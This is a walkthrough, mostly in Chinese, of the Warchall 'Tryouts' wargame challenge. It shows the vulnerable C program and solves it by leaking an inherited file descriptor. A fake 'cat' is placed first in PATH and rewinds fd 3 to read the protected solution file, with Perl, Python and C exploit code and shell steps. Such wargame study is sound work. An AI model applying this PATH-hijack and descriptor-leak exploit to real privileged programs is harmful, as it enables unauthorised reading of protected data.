Challenge
Warchall: Tryouts (Warchall) — score 6.
This challenge is the first of the warchall series. You might want to
play the other warchall challenges too.
Level: easy
前置条件: 需要 WeChall → Warchall
账号关联,并可通过 SSH 登录 Warchall 服务器。
源码分析
SSH 登录 Warchall 后,在 home 目录找到 tryouts
二进制和源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <pwd.h> #include <sys/types.h>
int main(int argc, char **argv) { struct passwd *userinfo = NULL; int passFd = 0, randFd = 0; char buf[512] = {0}; char password[17] = {0}; unsigned int input = 0, rand = 0; int correct = 0;
passFd = open("solution.txt", O_RDONLY); if (passFd < 0) return -1;
randFd = open("/dev/urandom", O_RDONLY); if (randFd < 0) return -1;
read(randFd, &rand, 1);
read(passFd, password, 16); password[16] = '\0';
printf("I've got a random number for you: %d\n", rand);
if (fork() == 0) { system("cat"); }
return 0; }
|
solution
- 程序打开
solution.txt 获取文件描述符
passFd(通常是 fd 3)
- 读取 password 后用
fork() 创建子进程
- 子进程执行
system("cat")
fork(2) 文档:子进程继承父进程的打开文件描述符
- 文件描述符共享当前文件偏移量——
solution.txt 已被读到
EOF
关键: 子进程中的 cat 可以通过
/proc/self/fd/3 访问
solution.txt,但直接读会得到
EOF(文件偏移已在末尾)。需要重置偏移量。
创建自己的 cat 命令,替换 PATH 中的系统
cat,使其从 fd 3 读取并先 lseek 重置偏移:
方案一:Perl
1 2 3 4 5 6 7 8 9
| use strict; use warnings; open F, '<&3'; seek F, 0, 0; my $a; read F, $a, 1024; print $a; while (<>) { print }
|
方案二:Python
1 2 3 4 5
| import os f = os.fdopen(3) f.seek(0) print(f.read(17))
|
方案三:C
1 2 3 4 5 6 7 8 9
| #include <unistd.h> int main() { char buf[256] = {0}; lseek(3, 0, 0); int n = read(3, buf, 255); if (n > 0) write(1, buf, n); return 0; }
|
执行步骤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| cat > ~/bin/cat.c << 'EOF'
int main() { char buf[256] = {0}; lseek(3, 0, 0); int n = read(3, buf, 255); if (n > 0) write(1, buf, n); return 0; } EOF
gcc -o ~/bin/cat ~/bin/cat.c
export PATH=~/bin:$PATH
./tryouts
|
EveryDayShuffle4